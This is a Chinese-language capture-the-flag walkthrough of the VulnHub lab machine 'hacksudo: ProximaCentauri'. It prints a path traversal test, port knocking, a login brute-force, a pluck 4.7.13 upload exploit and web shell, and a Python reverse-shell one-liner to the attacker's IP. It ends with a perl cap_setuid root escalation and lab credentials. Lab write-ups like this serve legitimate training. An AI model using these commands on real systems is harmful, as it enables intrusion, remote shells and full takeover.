vulnhub靶場之HACKSUDO: PROXIMACENTAURI

2023-02-01 18:01:39

準備:

攻擊機:虛擬機器器kali、本機win10。

靶機:hacksudo: ProximaCentauri,下載地址:https://download.vulnhub.com/hacksudo/hacksudo-ProximaCentauri.zip,下載後直接vbox開啟即可。

知識點:perl提權、pluck 框架漏洞、埠敲門、密碼爆破、敏感檔案發現。

資訊收集:

掃描下埠對應的服務:nmap -T4 -sV -p- -A 192.168.5.2126,顯示開放了80埠,開啟了http服務並且存在robots.txt檔案以及兩個目錄資訊。

存取下web服務,跳轉到:http://192.168.5.126/?file=hacksudo-proxima-centauri,猜測存在檔案包含漏洞,進行測試:http://192.168.5.126/?file=../../../../../../../etc/passwd,但是存在檢測,被攔截了。

目錄掃描:

使用gobuster進行目錄掃描,發現flag1.txt檔案、data資料夾、files資料夾等資訊。

存取:http://192.168.5.126/flag1.txt獲得flag1.txt資訊。

存取login.php頁面發現框架的版本資訊:pluck 4.7.13,順便嘗試了下弱口令、注入,但是均測試失敗。

搜尋下pluck 4.7.13的漏洞資訊:searchsploit pluck,發現存在一個檔案上傳進行命令執行的漏洞,但是檢視了下該漏洞利用方式是需要admin許可權的。

存取:http://192.168.5.126/planet時,發現travel目錄,在travel目中檢查原始碼時發現提示資訊,告訴我們要獲取一個座標並且RA是開啟,DEC是關閉。

<!--- here you can open portal and travel to proxima,the co-ordinate is? RA for open,Dec for close The proxima blackwhole portal......get co-ordinate from https://g.co/kgs/F9Lb6b --!> 

存取下半人馬座的座標資訊,獲得:RA 14 29 43。

埠敲門和密碼爆破:

使用命令:knock 192.168.5.126 14 29 43進行埠敲門,然後再次使用nmap對靶場進行埠掃描,命令:nmap -T4 -sV -p- -A 192.168.5.126,發現ssh服務。

嘗試使用ssh服務進行了連線,發現給出了一個字典:https://github.com/hacksudo/fog-hacksudo/blob/main/blackhole.lst,猜測是密碼。

使用bp抓取登入的封包:http://192.168.5.126/login.php,使用獲得字典進行爆破,成功獲得密碼:hacktheplanet。

框架漏洞獲取shell:

這裡想到上面提到的框架:pluck 4.7.13的漏洞,該漏洞需要使用管理員許可權,那我們現在有了密碼不就是管理員了,根據該exp的利用方式獲取shell許可權,命令:python 49909.py 192.168.5.153 80 hacktheplanet ""。(這裡因為電腦重啟了一次,靶機ip和kali的ip均發生了改變)。

存取返回的地址:http://192.168.5.153:80/files/shell.phar,獲得一個命令執行視窗。

使用python反彈下shell,python反彈指令碼可以在這裡生成:https://www.revshells.com/。

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.5.150",6688));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

多級目錄獲取shell:

對二級目錄進行了掃描,最後在/data/trash/files目錄下發現shell.phar檔案,存取該檔案獲取了一個shell(同上面),這裡不在贅述。

提權-proxima:

在/home目錄下發現使用者名稱稱:alfa、centauri、proxima,想著用原來的密碼字典進行爆破,但是失敗。

在/var目錄下發現一個備份檔案:backups,在該檔案中發現mysql.bak檔案,讀取該檔案獲取到資料庫名稱、賬號和密碼資訊:proximacentauri、alfauser/passw0rd。

使用獲得資料庫資訊,連線資料庫,命令:mysql -h 127.0.0.1 -ualfauser -ppassw0rd,切換成我們發現的資料庫,讀取資料庫內資訊,發現一組賬戶和密碼資訊:proxima/alfacentauri123。

使用獲得的賬戶資訊:proxima/alfacentauri123,進行ssh連線,成功提權至proxima。並在當前目錄下發現user.txt檔案,讀取該檔案成功獲得flag值。

提權:

檢視下當前賬戶是否存在可以使用的特權命令,sudo -l,發現無法執行sudo許可權。

通過:find / -perm -4000 -type f 2>/dev/null來查詢可疑檔案進行提權,但是未發現可以進行提權的檔案。

上傳LinEnum.sh指令碼進行資訊收集或者getcap -r / 2>/dev/null命令也可以發現,發現一個:cap_setuid+ep。

查詢下perl的提權方式,執行命令:/home/proxima/proximaCentauriA/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";',進行提權,成功獲得root許可權。

獲得root許可權後在/root目錄下發現root.txt檔案,讀取該檔案成功獲得flag值。